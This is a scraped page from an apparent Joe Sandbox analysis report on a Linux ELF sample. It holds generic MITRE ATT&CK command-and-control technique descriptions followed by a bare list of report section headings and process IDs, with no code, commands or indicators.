Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 4F5W85YGoU.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

System Behavior

Analysis Process: 4F5W85YGoU.elf PID: 5511, Parent PID: 5438

General

Chronological Activities

Analysis Process: 4F5W85YGoU.elf PID: 5513, Parent PID: 5511

General

Chronological Activities

Analysis Process: 4F5W85YGoU.elf PID: 5515, Parent PID: 5513

General

Chronological Activities

Analysis Process: 4F5W85YGoU.elf PID: 5516, Parent PID: 5513

General

Analysis Process: 4F5W85YGoU.elf PID: 5518, Parent PID: 5513

General

Analysis Process: 4F5W85YGoU.elf PID: 5521, Parent PID: 5513

General

Chronological Activities

Linux Analysis Report
4F5W85YGoU.elf